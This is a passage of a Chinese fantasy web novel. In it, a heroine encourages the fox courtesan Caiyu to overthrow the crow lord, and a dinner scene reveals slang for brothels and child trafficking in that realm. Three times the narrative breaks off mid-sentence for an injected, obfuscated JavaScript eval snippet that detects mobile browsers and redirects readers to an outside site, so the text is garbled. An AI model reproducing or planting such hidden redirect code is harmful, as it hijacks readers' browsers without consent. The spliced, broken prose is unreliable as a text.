乌楠多少也被这种传言影响到了些,觉得对方至少会是个脾气温和的家伙,没想到居然能当着他的面说出这么一番话来。 不过他很快也就调整好了心态,并对此做出了自己的解释,他瞥了眼开怀大笑的克拉芙季雅。 也对,能和这个家伙混到一块的,还能是什么好相与的家伙吗? “呵呵。”看着乌楠略显尴尬地愣在了原地,沈莫失又笑着打圆场。 “只是句玩笑话罢了,我看您的情绪不是很好,才想着开个小小的玩笑,但我不太会说话……” 沈莫失脸上带着真切的歉意,虽然她的真实年龄不知道比满脸褶子的乌楠要大了多少,但还是仗着一张年轻的脸在这装小辈。 “您资历深,应该不会介意年轻人的小失误吧?” 这一下主动递出的台阶又把乌楠应对的话打了回去,既然不想得罪沈莫失与克拉芙季雅,那他也只能装作毫不在意的样子顺着下台。 “哈哈哈,年轻人幽默些是好事,我怎么会介意呢?” 看着面前两人如出一辙看他好戏的神色,自觉此时不是个谈话的好时机的乌楠打了个哈哈,迅速结束了寒暄离去。 他懊恼地想着,明明彩玉那边说,沈莫失对他的态度都还不错来着,孔羽也没有说沈莫失的脾气这么坏啊,怎么到他面前就是这幅德行。 想到彩玉与孔羽的相似之处,乌楠不禁猜测道,难道沈莫失这么重视外貌吗? 下次果然还是找年轻貌美的下属出面和沈莫失谈事情好了。 “你们年轻人多聚聚,我这个老头子就不在这碍你们眼啦,可一定要在乌鸦领内玩得开心才好。” 克拉芙季雅意思意思地扯了扯嘴角应付他。 她们肯定是会玩得开心的,不过到时候你开不开心可就不知道了。 等乌楠走远了,克拉芙季雅才弯腰凑到沈莫失耳边,不怀好意地询问她。 “可算是亲眼见到你‘心心念念’的乌鸦领主了吧,怎么样?有什么感想?” 沈莫失瞥了她一眼,嫌弃地撇撇嘴表示对她的用词的不满,“感觉一股老橘子味。” 老橘子? 克拉芙季雅停顿了一下,才哼笑出声,揽着她的肩夸道:“不愧是你,我怎么想不到这么贴切的词。” “菜就多练。” 沈莫失竖起食指晃了晃,结束了与克拉芙季雅的日常拌嘴后,才后知后觉地回头。 “彩玉呢?”沈莫失疑惑地看着空荡荡的身后。 仗着自己出众的身高,克拉芙季雅抬头扫视一圈,指着一个方向对着沈莫失说道:“那那,你的宝贝狐狸在那呢。” 听着她这番酸溜溜的话,沈莫失挑起了一边眉毛,抬头看她,“你今天怎么这么奇怪?” 虽然克拉芙季雅面上不显,但沈莫失还是敏锐地察觉到了她不爽的情绪。 她挤兑彩玉很正常,挤兑乌楠也很正常,但今天怎么一连好几次地来挤兑她了? 接收到沈莫失疑惑的视线,克拉芙季雅嫌恶地吐了吐舌头,“周围都是乌鸦的臭味,能高兴才怪了。” 她低头瞥向沈莫失,“要不是为了你,我怎么可能会来这种垃圾地方。” 沈莫失听懂了她的抱怨,暗自咋舌,无奈地抬手拍了拍她搭在自己肩膀上的爪子。 “好好好,辛苦你了,待会儿陪你去吃好吃的。” 很多时候,把克拉芙季雅当孩子哄能有奇效。 果不其然,沈莫失话音还没落下,克拉芙季雅的神态就一下子昂扬了起来,尾巴摇来晃去地蹭着她。 “那你可不许反悔。” “肯定不反悔。” 沈莫失好笑地摇摇头不管她,顺着她刚才指的方向去找彩玉。 虽然说只是为了给她们接风洗尘才举办的这场宴会,但是在场的人可一点不少,而且各怀心思,可不都是为了她俩来的。 此时,这些人都零零散散地聚成了好几个小圈子,分布在宴会厅里。 五彩斑斓的羽毛看得沈莫失眼晕。 她皱着眉在人群中寻觅,在找到自家狐狸之前,就先看到了不少神情柔顺,与彩玉讨好她时的神态极为相似的人。 各个盘靓条顺,正垂首恭谨地依附在身披华羽之人的身侧。 见状,沈莫失的笑意逐渐消失,眼神顿时晦暗了几分。 而此刻的彩玉还不知道沈莫失在找他,他正被一群曾经的故人簇拥着。 身披彩羽的众人纷纷表示着自己对他的怀念之情。 “彩玉,我们刚还念叨着你呢,最近你怎么都没出来露面。” “有去你家做局的,也都只见到你妹妹小鱼。” “我们还以为你是生病了,不过现在看来是……”一人目光闪了闪,没再说下去,但在场众人都明白他的言外之意。 在彩玉随着那位残暴的隔壁领主出席宴会后,她们自然也就知道彩玉这阵子在做些什么了。 毕竟乌楠领主向来偏好找这些有能力又不算太出名的伎人们去做些隐秘的事情。 “那位待你如何?你是打算就这么跟着她了还是?” 那人顿了顿,才又轻佻地说道:“你家的小鱼自然也是好的,不过总是比不上你的性子合我们心意。” “你要是就这么把我们抛下了,那是多么可惜的一件事。” 顾忌着场合,围着彩玉的几人都没有做出什么出格的举动,不过她们的神情都把心思写得明明白白。 彩玉怎么会不懂她们的意思,他脸上挂着柔和的笑意,游刃有余地应付众人。 “妹妹还小,有些不足之处请多谅解,我不在的这阵子,小鱼多亏各位的照料了。” 一切的谈话与以往都没什么分别。 而当有人性急,想要向彩玉伸手时,他也下意识做出欲迎还拒的姿态婉拒对方,时刻注意着不让客人感到窘迫,从而得罪客人。 但同时也不能让客人们就这么对他失去了兴趣,不然这一节度的日子可不会好过。 不需要过多的思考,这些反应在多年来的职业生涯中几乎已经被他刻进了骨子里。 他一如既往地运用着这些他曾引以为豪的技巧,拉扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272750|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着几人的情绪。 ——直到他突然注意到了沈莫失的视线。 彩玉的目光凝滞了,他定定地看向远处的沈莫失。 她好像已经看了有一会儿了,以至于其身旁的克拉芙季雅都打起了哈欠,无聊地开始玩她的头发。 沈莫失没有在意克拉芙季雅在她头上搞的小动作,只是眼神平静无波地看着彩玉。 明明是那么普通的视线…… 彩玉看着沈莫失,心脏却重重地跳了两下,恍惚觉得一切的声音都从他的世界里远去了。 直到被满脸疑惑的客人们唤醒,他才猛地一颤,脸色迅速蹿红,惊慌失措地避开了与沈莫失对视的眼神。 他对客人们所做的都是以往做惯了的事情,即使是在年幼的妹妹弟弟们面前,他也早就不会因为这些而感到窘迫了。 可是…… 明明是那么普通的视线…… 为什么却比那些直白的触碰还要让他感到羞耻与不堪呢? 彩玉看着周围熟悉的客人们,却支支吾吾地无法再像之前那般自如地应付她们。 “你的狐狸好像有麻烦了。” 克拉芙季雅正动作随意地给沈莫失编着小辫子,还能抽空替她关注一眼彩玉的方向。 沈莫失眯起眼看向那几个簇拥着彩玉的“嫩橘子”,再看向彩玉那条僵硬的大尾巴,轻哼一声,果断牵过克拉芙季雅在她头上作妖的手,往彩玉的方向走去。 “打扰了,不过彩玉今天可是陪我来的。” 沈莫失皮笑肉不笑地插进了这群人里,在众人因为克拉芙季雅的突然靠近而感到惊慌时,一把拉过了眼神闪烁的彩玉,挡在他身前。 克拉芙季雅神色冰冷地俯视着面前这群矮子,再瞥一眼低着头的彩玉,顿时不屑地从鼻腔里哼出一口气来。 被强势打断了交流的“嫩橘子”们面面相觑,却没有人敢质疑两人,而是犹犹豫豫地出声道。 “十分抱歉,我们不知道他现在有主了。” 一人开了头后,剩余几人也结结巴巴地紧随其后,向沈莫失与克拉芙季雅两人行礼致歉,接着就你推我赶地匆忙离去。 作为合格的纨绔,可以不会玩,但一定要会识时务。 虽然她们没那个渠道知道那位黑发黑眼的贵客是谁,但就凭她能亲自被乌楠领主接待,那就不是她们能随意招惹的人了。 更何况她身边那人就是传说中喜怒无常的鬃狮蜥领主,怎么看都是惹不起的家伙啊! 根本不需要刻意驱赶,惜命的几人便火速扑闪着翅膀滚远了,完全不像是此前纠缠着彩玉的那番模样。 沈莫失面无表情地看着几人远去,才转头看向从刚才开始就沉默不语的彩玉。 “我们出去聊聊吧。” 沈莫失牵着彩玉走到外场的花园,这里的人比起厅内少得多了,显得格外静谧。 会到昏暗的室外来交流的人,多少都有些隐晦的事情要商议,都很是自觉地与其余人保持了一定的距离。 不过毕竟是在别人的地盘上,为了保险些,克拉芙季雅还是摆摆手示意跟来的随从们分散出去,不要让人来打扰到她们之间的谈话。 沈莫失在一处隐蔽的花草环绕的凉亭内驻足,如晚风一般清凉的眸光扫向身后耷拉着脑袋的彩玉。 她看着彩玉,什么都不说。 彩玉低着头,便也什么都不敢说。 看着他这副心虚的模样,沈莫失突然哼笑出声,引得双手抱胸靠在凉亭石柱上的克拉芙季雅也看了过来。 57.魔鬼 听到沈莫失的轻笑声,彩玉的身躯明显一颤,却还是低着头不敢面对她。 沈莫失把手背在身后,弯腰凑到他脸下,去观察他的表情,语调轻快地问道:“哭了吗?” 低着头的彩玉一撞上她那带笑的眼眸,就下意识撇过头去,“……没有。” “嗯……”沈莫失若有所思地直起身,“我有那么可怕吗?” 彩玉沉默着摇头。 “那你怎么连看我一眼都不敢?” 闻言,他犹犹豫豫地把头抬了起来,看到沈莫失不似有什么不满的神情,才缓缓松了口气,却还是吞吞吐吐地说不出什么来。 他只是害怕从沈莫失的脸上看到失望的神色。 心里是这么想着的,可却怎么都说不出口,但同时,他也并不想要随意地敷衍沈莫失。 所以彩玉嘴唇开合几下,还是坦白道:“不知道该怎么回答您……” 沈莫失挑了挑眉,她想问的可不是现在,“我是指刚才,在大厅里的时候,你怎么连看我一眼都不敢?” 一和她对上视线就红着脸移开了。 “这可不像你啊。”沈莫失仔仔细细地上下打量着彩玉。 “虽然我们相处的时间也不算多,但在我的印象里,你可不是什么胆小的家伙。” 指了指一旁的克拉芙季雅,沈莫失继续说:“即使是在克拉法面前,你都能游刃有余地演戏呢,更之前,你还敢冒险与我谈交易。” 在彩玉沉默的眼神中,沈莫失凑近几步,抬手指上他的心口,直直地盯着他,轻声道。 “为了你的家人们,你不是连性命都可以赌上吗?那你现在是在做些什么呢?” 连性命都敢赌,现在却不敢面对她? 沈莫失眼神如刀,似要一片片剜下彩玉心头的伪装。 顶着沈莫失好似能看穿一切的视线,彩玉艰难地吞吐了下,缓缓抚上自己的心口。 为什么会在看到沈莫失平静眼神的时候感到羞愧?为什么会无法面对她? 彩玉其实也在为自己刚才的反应而感到疑惑,那是他从未体会过的感受。 清凉的晚风吹打在他的脸颊上,让他脸上的热意逐渐消退了下去,在沈莫失的言语引导下,他终于开始反思自己此前的举动。 沉默着思索了一阵后,他才迟疑地开口。 “或许是因为,”他怔怔地看着沈莫失,“您是我遇到的第一位,平等对待我的人,或许……” 他紧张地舔了舔唇,语调颤抖又困惑,“您是我的第一位朋友?” 只有在沈莫失这里,他才第一次感受到了平等的注视。 在此之前,他的世界里只有需要照顾的亲人们,以及需要讨好的客人们。 所以沈莫失确实是他遇到的第一个非亲人,也没有发生过性关系的亲密之人。 既然不是客人,不是亲人,也不是爱人,那他与她的这种关系,能够称得上是友人吗? 彩玉对此毫无头绪,只能茫然地做出猜测。 “啧!” 听到“朋友”这个词,旁观的克拉芙季雅十分大声地啧了一下,皱着鼻子看向彩玉,表示自己的不满。 小学生吗?! 沈莫失甩了她一个眼刀,她就又龇牙咧嘴地转头去看花了。 朋友? 呵,懒得跟他计较了。 彩玉现在反倒是不在意克拉芙季雅的反应了,他专注地看着沈莫失,既然已经说出口了,那么后续的话也没那么难以启齿了。 在沈莫失宽和鼓励的眼神中,他一股脑地向她倾吐着自己的心声。 “我从没有想过,在您面前做出像以前一样的举动,会让我这么难受。” 他捂住了自己的胸口,感受着内心传来的酸涩感,眼中隐隐泛起泪光。 明明是已经习惯了的生活,为什么一旦被沈莫失注视着,就会感到如此痛苦呢? 在沈莫失面前剖开自己的内心才发现。 原来他一直都在自欺欺人。 嘴上说着什么,只要妹妹弟弟能离开就好,他自己其实并不在意这些事情。 可他其实很是介意自己从事的这一职业。 只是从前的他不愿意承认这一点罢了。 因为一旦承认了这一点,就无法继续麻木地生活下去。 彩玉紧紧捂住了心口,感觉有些呼吸困难。 看着他这副痛苦的模样,沈莫失的神情反而越发轻松,“还记得我对你说过的话吗?” 她提醒他,“就在你我达成交易的那天。” 彩玉恍恍惚惚地抬起头,看到沈莫失一如当日轻笑着的模样。 肩上好似又感受到了轻微的压力,然后他想起来了,沈莫失对他说的是—— “彩玉,你想当领主吗?” 沈莫失笑得意味深长,“既然不适应,那就别再去适应了。” 她抬手抚上彩玉的唇角,拇指发力在他光滑的皮肤上揉蹭着,露出他那颗惑人的唇下痣来。 挺好看的,怎么总是遮起来呢。 沈莫失笑得张扬又肆意,“反正我带你回来,本就不是要你继续去过以前那些日子的。” 彩玉嗫喏了下,沈莫失没有反驳她们的朋友关系这件事让他很高兴,不过他还是提醒沈莫失道。 “但您也看到了,我只是犬族,那些掌权的有翼族人根本不会把我放在眼里的,像我这种人。” 彩玉怔怔地看着自己纤巧白皙的手,任何一块指甲都被打磨得圆润而无棱角。 这只手曾被无数客人夸耀过,可它从不被期望用来掌权。 “像我这种人,不对,在他们眼里,我或许连人都是算不上的,犬族馆主还有先例可循,可要是领主……” 他不得不承认,在遇到沈莫失之前,这件事他是做梦都不敢想的。 只有在沈莫失这里,他才有了身为人的实感,可在领主等人眼里,他依旧是一条狗罢了。 彩玉放下手,神情迷茫又苦涩,他并不想辜负沈莫失对他的期待,但是这件事…… 要他去当领主,怎么可能呢? “那你就去做那个先例,”沈莫失并不在意他的言论,反而神态无辜地歪头反问他,“你不是说过自己很厉害吗?” 又是这句熟悉的话,他简直怀疑沈莫失是在故意逗他玩。 彩玉苍白无力地辩解道:“您……这毕竟是领主,以我的能力实在无法做到。” 沈莫失漫不经心地眯起眼回他,“如果你自己就能做到这件事的话,那我和克拉法跟过来是为了做些什么呢?” 话音落下,沈莫失抬眸去看为她们望风的克拉芙季雅。 克拉芙季雅回她一个兴味盎然的微笑,语调里几乎带出血腥味来,“篡位这种事,我可是熟得很。” 通天代,战绩可查。 前任金钱豹领主已经死得不能再死了。 沈莫失与她会心一笑,再转头去看彩玉,放缓了语调轻声道:“那么,你的意思呢?” 她目光柔和地看着彩玉,耐心地等待他的回答。 在克拉芙季雅看来,现在的沈莫失简直就是只蛊惑人心的魔鬼。 不过,彩玉有些恍惚地紧紧盯着沈莫失的双眼,只觉得她的眼神一如既往的温和而又坚定。 ……这是他的救世主。 仿佛是被沈莫失感染了一般,彩玉的眼中也逐渐染上了自信的神采。 他的双手在身侧紧握成拳,目光几乎是有些虔诚地注视着沈莫失,音量虽低却又坚决地表示说:“我会成为领主的。” 不会辜负您的期望。 沈莫失抬手抚上他的脑袋,嘴角微微上扬,“好孩子,这才对。” 见状,克拉芙季雅微不可查地嗤笑一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285099|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暗戳戳把彩玉从威胁名单里划去了。 这人都快被沈莫失忽悠瘸了。 …… “斯哈斯哈……我开始后悔了。” 沈莫失端着碗,捏着筷,发着愣,生无可恋地说道。 “姐姐,喝点奶吧。”身旁的彩玉满脸关切地为她递上杯冰牛奶,用纸巾拭去她额头和鼻尖上的汗珠。 “谢谢。”沈莫失含糊地道谢后,一把接过牛奶,把脸埋进了杯子里。 对面的克拉芙季雅一脸无语地看着她,“你怎么这么弱啊?” “咕噜咕噜。”沈莫失一边喝着一边甩给她一个大大的白眼。 她是真的后悔了,为什么要和克拉芙季雅出来吃饭呢? 一口气喝完牛奶,沈莫失放下空了的饮料杯,大口喘着气,看着面前这红艳艳的一大锅,苦着脸吐了吐舌头。 又辣又烫的,完全吃不下去了。 考虑到陆岭的嘱咐,这次的宴会上,沈莫失什么吃的都没碰,任乌鸦有什么准备,只要她不接,就不可能会上当。 所以从宴会上出来后,被馋饿了的沈莫失就由着克拉芙季雅把她带进了一家火锅店里。 到这里都还算正常,只不过。 她就不该放任克拉芙季雅一个人去点餐的! 沈莫失吸了吸鼻子,感觉从舌尖到唇瓣都在跳踢踏舞,只能无奈地搁下碗筷,有气无力地告饶道。 “我不行了,给我再加份不辣的锅。” 说完还拿纸巾擦了擦眼角被辣出来的泪水。 克拉芙季雅砸吧嘴看着她通红的脸,怀疑地又从锅里捞了一口下肚。 她一边嚼吧嚼吧,一边疑惑道:“可我觉得一点都不辣啊?” 为了照顾沈莫失的口味,她还特意点了微辣来着的。 沈莫失神情扭曲,转头看向彩玉,“你也这么觉得吗?” “诶?” 被突然点名的彩玉愣了愣,眼神有那么一瞬的飘忽,才张嘴想要回答沈莫失。 看着他的表情,沈莫失危险地眯起了眼,“好孩子不会对我撒谎。” “对我来说还好。”彩玉迅速推翻了之前的打算,坦白答道,又为沈莫失满上了一杯牛奶。 “每个人的口味都是不一样的,姐姐不用那么介意这一点。” 沈莫失叹了口气,筋疲力尽地向后倒在了椅背上,摆摆手让两人继续吃别管她了,让她先缓缓再说。 说实话,吃辣蛮爽的,她也挺喜欢这种香辣又酥麻的感觉。 奈何是真的吃不惯。 沈莫失抚上自己已经变得又肿又烫的双唇,难得承认了克拉芙季雅对她的评价。 可恶啊,真是太菜了!她也想和克拉芙季雅一样大口干饭啊! 沈莫失又羡又妒地看着丝毫不受影响的克拉芙季雅,以及身旁面色毫无变化的彩玉。 直到店家又为她上了份清汤小锅,缓过来了的沈莫失才终于回到了她们的饭局里。 “说起来,刚才路边有家店,招牌上是不是有个太阳标记?” 其实不只是一家店带有这个标记。 沈莫失咬着筷子,突然想到了刚才看到的那些个粉红色的小太阳。 那标记不大,一般都被画在招牌的角落里,不算显眼,不过太阳周边的光晕张牙舞爪地向外蔓延出去,又显得十分张扬。 沈莫失曾见过这个太阳标记的,她去鬃狮蜥领的时候,在列车上遇到过一位矮个子商人。 那位商人自称是做的石头生意,递给她的名片上,就有这个标识。 当时的她没在意,只以为是他自己的商标之类的,但现在看来却并不是,沈莫失就对此有些好奇起来了。 “那是什么意思?”沈莫失看向三人中唯一的“地头蛇”彩玉。 克拉芙季雅不知道她在说些什么,也对彩玉投去疑惑的视线。 58.傲慢 “太阳?”彩玉的手抖了抖,随即皱眉问道,“姐姐怎么会问这个问题?” “我好像见到过一次。”沈莫失坦然回道,向两人简单诉说了当时的经历。 “可那些店好像和石头也扯不上什么关系吧?” 挂着太阳标记的,不少都是些餐厅旅馆,这能和石头有什么关系吗? 沈莫失对此百思不得其解。 彩玉的神情犹豫,瞄了沈莫失好几眼,不知道要如何开口。 沈莫失被他看得缓缓坐直了身体,“怎么了吗?这是什么很忌讳的事情吗?” 她开始飞速回忆起当时自己与那位商人之间的谈话,却找不出什么线索来。 与她不同,克拉芙季雅倒是若有所思地抚了抚下巴。 “太阳……” 彩玉舔了舔唇,他知道沈莫失很讨厌这种事情,所以不断斟酌着自己的用词,有些艰涩地开口道。 “在乌鸦领内,就是指的伎乐行业。” “所有合法纳税的伎乐馆及相关产业都必须挂上太阳的标记,算是一种……许可证吧。” 结合彩玉的解释,想到当时那位商人还欢迎她去消费,沈莫失的大脑顿时宕机了一会儿。 随即,她不可思议地开口问道:“哈?那‘石头’又是什么意思?” 她记得当时那位商人说的是要去鬃狮蜥领“找石头”,沈莫失胡乱猜测道:“难道是去找顾客吗?” 所以她是被那位商人当做预备役闝客了?!你们乌鸦领能不能别搞那么多黑话啊! 沈莫失抬手捂住嘴,一脸惊恐。 她现在的心情,与彩玉向她坦白的那天,不可谓不相似,但同时又有些抑制不住的作呕之意。 见沈莫失如此嫌恶的表情,彩玉苦恼地抿唇,再开口时,语气变得更加谨慎了。 “不是的,‘石头’……”他否定了沈莫失的猜测,小心翼翼地观察着她的反应,低声回她,“一般指的是小孩子。” 说罢,他捏着掌心低头不去看沈莫失难看的神色。 沈莫失缓缓放下手掌,大张着嘴去看彩玉,半天说不出一句话来。 沉默良久,她才懊恼地一拍桌子,生气道:“我当时怎么就没把他砍了呢!” 想到曾经有个人贩子从自己眼前经过,自己却毫无所觉,沈莫失就恨得牙痒痒。 “唔。”与沈莫失火冒三丈的表现不同,克拉芙季雅反倒是眉毛上扬,一派闲适的样子。 她语调轻快地询问沈莫失,“是你来找我那阵子发生的事?” 不是来找你的,是去找鳞的。 沈莫失暂时压下了纠正她的欲望,疑惑地看向她,发觉她的反应有些不对劲。 即使克拉芙季雅平时作风疯狂了一些,但对于领地的事务都蛮在乎的,怎么现在知道领地内曾经进了人贩子,却是这么个反应。 “你知道这人?”沈莫失语调上扬,她挑起一边眉毛,敏锐地意识到了什么,“别卖关子了,快说。” 克拉芙季雅咧开嘴笑地放肆,露出尖利的獠牙,“那个家伙,说不定已经死透了吧。” “真是个好消息,”沈莫失惊喜地瞪大了眼,嘴角不受控制地往上扬起,“展开讲讲?” 察觉沈莫失的情绪回升,一旁的彩玉才松了口气,同时好奇地看向克拉芙季雅。 “这还有什么好说的?”克拉芙季雅挠了挠头,她那阵子正犯病呢,肯定是没那个心力去管这些事情的。 会知道这件事,主要还是章鱼很生气,叭叭地在她耳边念叨过一阵。 有个人贩子在大街上被人发现了,而鬃狮蜥领一向民风彪悍,没等管理局的人到场,那人就已经没气了。 虽然如此,可章鱼还是很生气。 要知道,当你在家里发现一只蟑螂的时候,往往意味着蟑螂已经安家做窝了! 所以那阵子,章鱼在领地内以克拉芙季雅的名义彻查相关行业,因此又发现,有不少高层都可能与乌鸦领有联系。 乌鸦居然又朝鬃狮蜥领出手了! 章鱼副手被这一连串的恶心事情气得脸都要歪了,八根触手乱舞。 只是这些人都藏得太严实了,又顾忌到克拉芙季雅在领地内的威慑力,一个个滑溜得让人抓不到马脚。 这也是克拉芙季雅会选择离开领地的原因之一,只有她不在了,这些人才敢冒头。 而有章鱼在领地内守着,冒头怎么可能会给他们留活路? 克拉芙季雅瞥了眼对面好奇的两人,不过这些鬃狮蜥领的内务就没必要给沈莫失与彩玉解释了。 想到在家里嘎嘎乱杀的章鱼,她一脸骄傲地挑眉笑道:“没什么好说的,我的手段你还不放心吗?” “嗯?”沈莫失眯起眼细细地打量着克拉芙季雅,总觉得这件事没那么简单。 不过既然克拉芙季雅不说,她也没有那么强的好奇心,反正知道那些个人贩子没有好下场,对她来说就足够了。 “真是可恶的乌鸦。”沈莫失放下了对克拉芙季雅未尽之言的好奇,转而去骂罪魁祸首。 看着她嫌恶的表情,克拉芙季雅不禁哼笑出声,“骂得好。” 沈莫失舔了舔后槽牙,将对付乌鸦的计划在脑海里过了一遍,才总算勉强压下了恶心的情绪。 她瞥了克拉芙季雅一眼,意味深长地说道:“真想知道你和陆岭谁能赢呢。” 克拉芙季雅不屑地咧嘴笑着,“那我可不能让你失望啊。” 彩玉在一旁默不作声地听着两人的谈话,眼中毫无情绪地注视着对面肆意张扬的克拉芙季雅。 在与沈莫失沟通后,彩玉的想法发生了巨大的转变,原本的他只打算顺从沈莫失与两位领主制定好的计划。 他知道这份计划里没有什么需要自己主动的地方,他只要当一个乖巧听话的棋子,被几人推上领主的位置就好。 可是伏低做小,把自己的命运交给别人,这样的他和以前又有什么分别呢? 想到宴会上的那场谈话,彩玉的视线带上了几份狂热,痴迷地看着沈莫失。 沈莫失肯定是不希望他继续这么下去,才会和他说那些话的! 既然沈莫失对他报以如此大的期望,那他也不能再像之前那样随波逐流了。 更何况,于彩玉而言,在策划了针对乌鸦计划的几人中,他真正信任的只有沈莫失而已,对其余两位领主都有几分防备。 虽然目前看着,陆岭与克拉芙季雅两人都对沈莫失很好,可谁知道之后会怎么样呢? 如果像是之前那样,最后的他也只会成为两位领主手中的傀儡罢了,万一哪天,其中一人为了利益选择了背弃沈莫失,到时候的他又能做些什么呢? 只有真正拥有掌控乌鸦领的能力,才有资格成为沈莫失的后盾。 彩玉于是开始真正地以成为领主为目标,他知道他必须做出改变,可是相对于两位领主,他的优势到底在哪里呢? 到底要如何才能与两位领主抗衡,从而插入到她们的计划中。 彩玉咬着舌尖,利用痛觉试图让自己的思路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295122|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更加清晰起来。 看着完全忽视了他的存在,与沈莫失聊得火热的克拉芙季雅,他的脑海中灵光一闪。 “彩玉?” 沈莫失抬手在彩玉面前晃了晃,“你怎么了?” 彩玉这才恍然回神,发现两人都不解地看着他,“怎么了吗?” 沈莫失好笑地看着他,“是我问你呀,我们要走了,你怎么还发呆呢?” “还在想刚才的事情吗?”沈莫失猜测道,宽和地安抚他,“没事的,都说了有我和克拉法在,你不用担心太多。” “嗯,谢谢姐姐关心。”彩玉眸光闪了闪,笑着点头,掩下自己的思绪。 想到自己刚才做出的决定,他又将目光在克拉芙季雅身上一扫而过。 “不过,我只是在想家里的妹妹弟弟罢了,”彩玉柔和地笑了起来,“也不知道这么久没见,大家都怎么样了。” 沈莫失恍然道:“是我疏忽了,应该先让你回去和家人团聚的。” 彩玉抿唇摇头,“还是姐姐的事情更重要。” “这可没法比较,”沈莫失站起身,看向克拉芙季雅,“那我们先把彩玉送回去?” 克拉芙季雅轻飘飘地扫了彩玉一眼,又对着沈莫失说:“这还要你亲自送?如果是不放心他,我叫个随从跟着他不就好了。” 沈莫失挑眉调侃她,“我打算住在彩玉那哦,连我你都不送吗?” “哈?”闻言,克拉芙季雅顿时瞪大了眼睛,她站起身,居高临下地伸手指向彩玉,“跟他住?” 就连彩玉也惊讶地看向沈莫失,纠结地抬手拉住她的衣角,“姐姐?我家可是……” 他欲言又止,但沈莫失明白他想说些什么。 “这又有什么关系?”沈莫失摸了摸他耷拉的耳朵,无所谓地向两人摊手道,“我又不介意这点,再说了,彩玉。” 她看向一脸失措的彩玉,“你不是还希望我能帮你治疗妹妹弟弟吗?总要让我去见她们一面的。” “姐姐还记得……”彩玉顿时受宠若惊地捂住了胸口,抿唇感动地看着沈莫失,明显是不会再反对沈莫失的住宿决定了。 她就知道,这只狐狸能对沈莫失的决定做出什么影响呢? 克拉芙季雅恨铁不成钢地瞪了眼在沈莫失面前毫无原则的彩玉,再看向一脸坚定的沈莫失。 “呵呵,”克拉芙季雅冷笑两声,开始不讲道理,“那我也要跟你住。” “你跟过来做什么?”沈莫失疑惑地看她一眼,“到时候下属们找你也很不方便吧?” 她一个人住在彩玉这不会有什么影响,反正她也不是很喜欢出门,这次的计划里其实也没她太多事情。 但克拉芙季雅可就不一样了,她还带着那一帮下属呢,彩玉家里肯定是住不下这么一大班人的。 等之后忙起来了,难道她们还每天到彩玉这来拜访克拉芙季雅吗?下属也不方便,彩玉家人也不方便的,干嘛呢? 沈莫失狐疑地看向克拉芙季雅,不知道她到底在想些什么,怎么突然又抽风了。 不过克拉芙季雅可不是会关心别人的类型,她只关注自己的心情。 于是她仅仅是咧了咧嘴,把脸怼到了沈莫失面前,毫不客气地说道:“我高兴。” 沈莫失看着面前的这张大脸,额头青筋蹦了蹦,无比怀念鳞在的时候,两人还能一起吐槽这家伙。 终于,看着她这副欠揍的表情,沈莫失再忍不下去了,抬手捏住了她大张的嘴,“给我好好考虑下你的下属们啊!” 59.锦鲤 不过,就像克拉芙季雅改变不了沈莫失的想法一样,沈莫失也无法改变克拉芙季雅的想法。 一阵混乱的拳打脚踢后,两个倔种最终还是都决定住在彩玉那里。 “抱歉啊,这家伙给你添麻烦了。”沈莫失与克拉芙季雅隔着一段距离走在路上,她带着歉意地摸了摸彩玉的头。 “没关系的,”彩玉低着头在沈莫失掌心轻蹭,接着低声道,“最近家里不营业,期间的损失可以找领主报销。” 对于彩玉和家人们而言,这是两件好事。 这个领主指的当然是乌楠了,毕竟明面上,彩玉还是他安插在沈莫失这边的人。 彩玉作为多年来第一个凑到克拉芙季雅身边还没被撕了,和目前为止唯一一个能接近沈莫失的暗探。 乌楠巴不得他能多和沈莫失与克拉芙季雅待在一块,便在资金方面格外大方。 沈莫失眉梢一扬,顿时就不觉得给彩玉添麻烦了,她感叹道:“哦——原来如此啊。” 还能薅一把乌鸦毛,那她就没那么介意这件事了。 “哼。”见她神情缓和了些,被两人排斥在外的克拉芙季雅蠢蠢欲动地想要向她贴近,又被沈莫失一个眼刀怼了回去。 “你的下属们是另一回事。” 克拉芙季雅顿时不满地乱哼道:“她们都不介意的事情诶!” 说着,她回头看向跟在不远处的下属们,“你们觉得我给你们添麻烦了吗?” 身后几人被她问得齐齐一激灵,整齐划一地摇头。 见状,克拉芙季雅又扬起下巴看向沈莫失,“你看啊!” 沈莫失咬了咬牙,主动凑过去贴近了她,却是用力踩了她一脚,“你这个没有自知之明的家伙!” “姐姐,小心别伤到自己了。”彩玉于是又一脸担忧地上去劝架。 